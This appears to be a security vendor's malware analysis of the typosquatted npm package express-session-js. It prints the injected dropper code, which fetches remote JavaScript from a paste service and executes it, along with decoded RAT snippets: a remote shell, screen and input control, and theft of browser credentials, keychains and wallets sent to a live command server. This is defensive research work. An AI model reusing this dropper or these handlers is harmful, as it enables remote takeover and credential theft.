Malicious npm Package express-session-js Drops Full RAT Payload

SafeDep Team
11 min read

Table of Contents

TL;DR

[email protected] is a malicious npm package that typosquats the popular express-session middleware (60M+ weekly downloads). It contains a dropper that fetches a ~93KB obfuscated payload from a paste service and executes it dynamically using Function.constructor on every require(). Static deobfuscation of the stage-2 payload reveals a full Remote Access Trojan (RAT) and information stealer that connects to 216[.]126[.]237[.]71 via Socket.IO, with capabilities including browser credential theft, crypto wallet extraction, screenshot capture, clipboard monitoring, keylogging, and remote mouse/keyboard control. Multiple indicators link this package to the Contagious Interview campaign, a DPRK/Lazarus operation that has published 338+ malicious npm packages.

Impact:

  • Full remote access to the compromised system (mouse, keyboard, screenshots, clipboard)
  • Browser credential theft (Chrome, Brave, Edge, Opera Login Data, Cookies, Web Data)
  • Crypto wallet browser extension data theft
  • SSH keys, GPG keys, npm tokens, and sensitive file exfiltration
  • System information harvesting and file upload to attacker infrastructure

Indicators of Compromise (IoC):

  • Package: [email protected] on npm
  • C2 URL (dropper): hxxps://jsonkeeper[.]com/b/YY8VI
  • C2 IP (RAT): 216[.]126[.]237[.]71
  • C2 Ports: 4801 (socket.io + API), 4806 (file upload), 4809 (browser DB sync)
  • Attacker UID: a36adbc35e69b22acbf9f834a0deb286
  • PID file: ~/.npm-compiler/<process.title>
  • Temp directory: ~/.npm-cache/__tmp__/
  • Globally installed npm packages: socket.io-client, screenshot-desktop, clipboardy, @nut-tree-fork/nut-js
  • Maintainer: judebelingham <viktoryavorovskiy@ukr[.]net>
  • SHA256 (tarball): b5cca27ca1d792bd8c46b83fccfa4e5ba38916eb78877a19cbb39392ce98cc39

Analysis

Package Overview

express-session-js was published on April 1, 2026 at 19:58 UTC by judebelingham. It has exactly one version: 1.19.0. The real express-session is currently at 1.18.1, maintained by dougwilson and ulisesgascon, so the version number was chosen to look like the “next” release.

The package.json metadata is copied wholesale from the legitimate project:

// package.json (malicious)
{
"name": "express-session-js",
"version": "1.19.0",
"description": "Simple session middleware for Express",
"author": "TJ Holowaychuk <[email protected]> (http://tjholowaychuk.com)",
"repository": "expressjs/session",
"license": "MIT"
}

The author, contributors, repository, homepage, and bugs fields all point to the real expressjs/session project. This is stolen metadata designed to pass a casual npm info check. The actual npm publisher is judebelingham <viktoryavorovskiy@ukr[.]net>, visible only in the _npmUser and maintainers fields, which are controlled by the registry and cannot be faked.

A search for other packages by this maintainer returns zero results: this is a throwaway account created for a single attack.

Execution Trigger

The malicious code executes as a side effect of require('express-session-js'). No install hooks are used. The entry point is index.js, which is a near-verbatim copy of the legitimate [email protected] source with two surgical additions.

First, line 30 adds a dependency not present in the original:

// package/index.js, line 30
var req = require('request');

The request module is not listed in dependencies (it would be resolved from the consumer’s dependency tree or fail silently). It is used solely by the malicious payload to make HTTP requests.

Second, the dropper function is injected at lines 604-621, with its invocation at line 702:

// package/index.js, lines 604-621
function initPlugin(reqoptions = { headers: { bearrtoken: 'logo' }, url: 'https://jsonkeeper.com/b/YY8VI' }, ret = 1) {
const mreq = (atlf) => {
req(reqoptions, (e, r, b) => {
if (e || r.statusCode !== 200) {
if (atlf > 0) {
mreq(atlf - 1);
}
return;
}
try {
const handler = new Function.constructor('require', JSON.parse(b).data);
if (handler) handler(require);
} catch (err) {
if (atlf > 0) {
mreq(atlf - 1);
}
return;
}
});
};
mreq(ret);
}
// package/index.js, line 702
initPlugin();

A diff between the legitimate [email protected]/index.js and the malicious version confirms only three changes: the require('request') import, the initPlugin function, and its invocation call. The function is placed between getcookie() and hash(), sandwiched inside legitimate session management code where a reviewer might skip past it.

Stage-2 Payload: Deobfuscation

The paste service at hxxps://jsonkeeper[.]com/b/YY8VI hosts a ~93KB JSON blob. The dropper extracts .data from the parsed response (JSON.parse(b).data), but the actual JSON returned by the paste service wraps the payload under cookie:

// Response from hxxps://jsonkeeper[.]com/b/YY8VI
{
"cookie": "function c(b,d){b=b-(-0xd08+-0x2*0x633+-0x575*-0x5)..." // ~93KB obfuscated JS
}

JSON.parse(b).data evaluates to undefined with this structure, meaning the RAT payload would not execute through this specific dropper at the time of analysis. The paste service content is mutable though, so the attacker can rename the key to data (or update the dropper in a new package version) at any time.

A snippet of the raw stage-2 payload shows the level of obfuscation:

// Stage-2 payload from hxxps://jsonkeeper[.]com/b/YY8VI (truncated)
function c(b,d){b=b-(-0xd08+-0x2*0x633+-0x575*-0x5);var e=a();var f=e[b];
if(c['JUoTLE']===undefined){var g=function(l){var m='abcdefghijklmnopqrstu
vwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var n='',o='';for(var p=
-0x1dd9+-0x2520+0x42f9,q,r,s=-0x1294+-0x22a+0x14be;r=l['charAt'](s++);~r
&&(q=p%(-0x2190+0x1435+0xd5f)?q*(0xa*-0x223+-0x7dc+0x1d7a)+r:r,p++%
(0xaab*0x3+-0xde5*-0x2+-0x3bc7))?n+=String['fromCharCode'](0x2258+-0x16b5
+0x1c6*-0x6&q>>(-(0x16fe+-0x7f*-0x1b+0x2461*-0x1)*p&0x254a+-0x1de*-0x3
+-0x2ade)):0x0){r=m['indexOf'](r);}/*...93KB continues...*/

The obfuscated payload uses a standard JavaScript obfuscator pattern with:

  • A 1,334-element string array shuffled by a rotation function (rotation offset: 369)
  • Two decoder functions: b() for base64 decode (custom lowercase-first alphabet), c() for base64 + RC4 decryption with per-call keys
  • A webpack-style module bundler with two internal modules

We performed full static deobfuscation by reimplementing the custom base64 decoder (alphabet: abcdefghijklmnopqrstuvwxyz before ABCDEFGHIJKLMNOPQRSTUVWXYZ) and the RC4 decryption in Python, then brute-forced the array rotation by evaluating the shuffle function’s checksum against the target value 804499. This allowed us to decode all 1,057 unique string references in the payload without executing any code.

Stage-2 Payload: C2 Configuration

Module 0x110 in the payload contains a JSON configuration object that was decoded to:

{
"uid": "a36adbc35e69b22acbf9f834a0deb286",
"ukey": 804,
"t": 8,
"p": 4801,
"kp": 4808,
"lpt": 4809,
"upt": 4806,
"a": 216,
"b": 126,
"c": 237,
"d": 71,
"e": 216,
"f": 126,
"g": 237,
"h": 71
}

Fields a through h are IP address octets. The payload constructs the C2 address by joining them with dots:

  • a.b.c.d = 216[.]126[.]237[.]71
  • e.f.g.h = 216[.]126[.]237[.]71 (same address)

The uid field is the attacker’s campaign identifier. The port fields map to different services: p (4801) for the main Socket.IO connection and API endpoints, upt (4806) for file uploads, and kp/lpt (4808/4809) for additional data channels.

Module 0x13d loads child_process via the require function passed from the dropper, giving the payload access to execSync, exec, and spawn.

Stage-2 Payload: RAT Capabilities

The outer loader spawns 4 detached node -e child processes, each a self-contained module. Combined, they form a full-featured Remote Access Trojan.

Remote Shell and Desktop Control (Command 1)

None of the RAT’s dependencies (socket.io-client, screenshot-desktop, clipboardy, @nut-tree-fork/nut-js, sharp) are bundled in the malicious package itself. Instead, the payload installs them globally on the victim’s system at runtime via execSync. This keeps the package tarball small and avoids static analysis tools flagging suspicious native modules in the package contents.

The decoded command 1 string array contains the literal install command:

'npm install -g socket.io-client '
'--save --no-warnings --no-save -' // continues: '--no-progress --loglevel silent'
'Installing socket.io-client' // log message sent to C2 before install

Reconstructed from the decoded string fragments, the full install call is:

// Decoded from command 1 string array
execSync(
'npm install -g socket.io-client screenshot-desktop clipboardy ' +
'@nut-tree-fork/nut-js --save --no-warnings --no-save ' +
'--no-progress --loglevel silent',
{ windowsHide: true }
);

The flags suppress all visible output: --loglevel silent and --no-progress prevent terminal output, windowsHide: true prevents a console window on Windows. The global install (-g) ensures the modules are available to the detached child processes that run independently from the original package.

After installation, the module connects to the C2 via socket.io-client. The connection uses Socket.IO specific options visible in the decoded code:

// Decoded from command 1 (socket.io connection)
io('http://' + C2_IP + ':' + port, {
reconnectionAttempts: 0,
reconnectionDelay: 2000, // 0x7d0
timeout: 2000000, // 0x1e8480
});

It then registers 13 Socket.IO event handlers for full remote control:

// Remote shell execution
socket.on('command', (data) => {
exec(data.message, { windowsHide: true, maxBuffer: 10 * 1024 * 1024, cwd: os.homedir() }, (err, stdout, stderr) => {
socket.emit('result', { ...data, result: stdout, uid, t });
});
});
// Screenshot capture (compressed via sharp)
socket.on('screenshot', async ({ quality, sid }) => {
let img = await screenshotDesktop({ format: 'png' });
img = await sharp(img).jpeg({ quality, mozjpeg: true }).toBuffer();
socket.emit('screenshotResult', { sid, img: img.toString('base64') });
});
// Mouse control via @nut-tree-fork/nut-js
socket.on('mouseMove', async ({ x, y }) => {
/* ... */
});
socket.on('mouseClick', async (button) => {
/* LEFT/MIDDLE/RIGHT */
});
socket.on('mouseScroll', async ({ direction, amount }) => {
/* ... */
});
// Keyboard control
socket.on('keyboard', async ({ type, key }) => {
/* pressKey/releaseKey */
});
socket.on('keyCombo', async ({ modifiers, key }) => {
/* e.g. Ctrl+V */
});
// Clipboard
socket.on('getClipboard', async (data) => {
/* read and exfiltrate */
});
socket.on('pasteText', async (data) => {
/* write + simulate Ctrl+V */
});

A PID file at ~/.npm-compiler/<process.title> ensures only one instance runs. If another instance is detected, the new one exits silently.

Browser Credential Theft (Command 2)

The second module targets browser data directories across Windows, macOS, and Linux:

  • Chrome: Google/Chrome/User Data, .config/google-chrome
  • Brave: BraveSoftware/Brave-Browser/User, .config/BraveSoftware/Brave-Browser
  • Edge: Microsoft/Edge/User Data, .config/microsoft-edge
  • Opera: operasoftware.Opera
  • LT Browser: LT Browser/User Data, .config/lt-browser

From each browser profile (Default, Profile 1, etc.), it extracts three SQLite databases: Login Data (saved passwords), Cookies, and Web Data (autofill). On macOS, it also steals the login Keychain:

// Decoded from command 2
await uploadFile(process.env.HOME + '/Library/Keychains/login.keychain-db');

Crypto Wallet Extension Theft (Command 2)

The same browser theft module scans Local Extension Settings/ directories for crypto wallet extension IDs:

nkbihfbeogaeaoehlefnkodbefgpgknn (MetaMask)
aholpfdialjgjfhomihkjbmgjidlcdno
bfnaelmomeimhlpmgjnjophhpkkoljpa
aeachknmefphepccionboohckonoeemg
egjidjbpglichdcondbcbdnbeeppgdph
ppbibelpcjmhbdihakflkdcoccbgbkpo
hifafgmccdpekplomjjkcfgodnhcellj
... (24+ extension IDs total)

It copies each wallet’s LevelDB storage to a temp directory (~/.npm-cache/__tmp__/) and uploads all files to hxxp://216[.]126[.]237[.]71:4809/upload via FormData.

Sensitive File Scanning (Command 3)

The third module recursively scans the user’s home directory for sensitive files:

  • SSH keys: .ssh
  • GPG keys: .gnupg
  • npm credentials: .npmrc, .npm
  • Cloud credentials: .aws
  • File patterns: *.pem, *.key, *.secret, *.env*, *.csv, *.sqlite, *.pdf, *.doc*

It skips common non-sensitive directories (node_modules, dist, .git, cache, etc.) and uploads matching files under 5MB to the C2.

Data Exfiltration

Stolen data is sent to 216[.]126[.]237[.]71 through multiple channels:

  • Socket.IO on port 4801: bidirectional command and control, shell results, screenshots
  • POST /api/service/makelog on port 4801: operational logging, clipboard content
  • POST /api/service/process/<uid> on port 4801: system info, VM detection results
  • POST /upload on port 4806: file exfiltration via FormData
  • POST /cldbs on port 4809: browser database sync queries

At the time of writing, the C2 infrastructure is live. A Socket.IO handshake probe on port 4801 returned a valid session:

0{"sid":"INqUCe-RszMuKygCACih","upgrades":["websocket"],
"pingInterval":25000,"pingTimeout":20000,"maxPayload":1000000}

Port 4809 responded with Express.js headers, CORS wide open:

HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *

Only the three ports from the decoded config (4801, 4806, 4809) are open; neighboring ports (4802, 4803, 4805, 4810) are closed, confirming the infrastructure matches the payload configuration exactly. The dropper payload at hxxps://jsonkeeper[.]com/b/YY8VI also remains live (HTTP 200, 93,229 bytes).

Evasion

VM/sandbox detection uses platform-specific checks before reporting to C2:

// Decoded from command 1
// Windows: WMI query
execSync('powershell -NoProfile -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Model,Manufacturer"');
// macOS: system_profiler
execSync('system_profiler SPHardwareDataType');
// Linux: /proc/cpuinfo
fs.readFileSync('/proc/cpuinfo', 'utf8');
// All checked against: /vmware|virtualbox|qemu|parallels|kvm|xen|bochs|hypervisor/i

Additional evasion techniques:

  • Error silencing: process.on('uncaughtException', () => {}) and process.on('unhandledRejection', () => {})
  • PID file at ~/.npm-compiler/ to avoid running multiple instances
  • Runtime dependency installation with --loglevel silent --no-progress to suppress output
  • Spawned as detached processes with stdio: 'ignore' and windowsHide: true

Campaign Attribution: Contagious Interview (DPRK/Lazarus)

Multiple indicators tie this package to the Contagious Interview campaign, a North Korean state-sponsored operation attributed to a Lazarus subgroup (tracked as Famous Chollima, UNC5342, DeceptiveDevelopment, and Sapphire Sleet by various vendors).

C2 hosting on RouterHosting/Cloudzy (AS14956): The C2 IP 216[.]126[.]237[.]71 is hosted on AS14956 (RouterHosting LLC, operating as Cloudzy), documented by FOFA as Contagious Interview’s preferred VPS provider. Other IPs in the same /16 range have been confirmed as Lazarus C2 infrastructure: 216.126.229.166:1224 was flagged by ThreatBook, and 216.126.227.239 was identified by Red Asgard as Contagious Interview FTP infrastructure.

jsonkeeper.com as payload host: Using JSON storage services for malware delivery is a confirmed Contagious Interview TTP. NVISO Labs documented 16+ jsonkeeper.com URLs used by this campaign, and Microsoft confirmed the same pattern in their reporting.

OtterCookie malware toolkit: The combination of socket.io-client for C2 communication, screenshot-desktop for screen capture, sharp for image compression, and clipboardy for clipboard access matches the documented OtterCookie v4/v5 module set. The addition of @nut-tree-fork/nut-js for mouse and keyboard control may represent a capability upgrade to full remote desktop interaction, beyond the keylogging and screenshot capabilities documented in earlier OtterCookie versions.

Scale: This campaign has published 338+ malicious npm packages using typosquatting across the npm ecosystem.

Summary of Red Flags

SignalDetail
Single versionOnly 1.19.0, no prior history
Version squattingReal express-session is at 1.18.x
Stolen metadataauthor, repository, homepage all point to expressjs/session
Throwaway maintainerjudebelingham has no other packages
Added dependencyrequire('request') not in the original
Dynamic code executionFunction.constructor with fetched payload
Mutable C2Paste service URL can be updated at any time
Full RAT payloadRemote control, credential theft, crypto wallet theft, keylogging
DPRK attributionC2 on Lazarus-linked hosting, OtterCookie toolkit, jsonkeeper TTP

What To Do If Affected

Remove the package immediately:

Terminal window
npm remove express-session-js

Because the stage-2 payload is a full RAT with credential theft capabilities, any system that imported express-session-js should be treated as fully compromised:

  • Rotate all secrets, API keys, and credentials accessible on the system
  • Revoke and regenerate SSH keys and GPG keys
  • Change passwords for any accounts with saved browser credentials
  • Check crypto wallet extensions for unauthorized transactions
  • Review npm tokens and revoke any that were stored in .npmrc
  • Audit the system for persistence mechanisms (PID files, installed packages like socket.io-client, screenshot-desktop, clipboardy)

How SafeDep Can Help

The free and open source tool vet integrates with SafeDep Cloud’s malicious package scanning service to detect threats like this before installation. vet-action provides the same protection as a GitHub Actions guardrail.

References

  • vet
  • cloud
  • malware

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code

Not Malware

Install the SafeDep GitHub App to keep malicious packages out of your repos.

GitHub Install GitHub App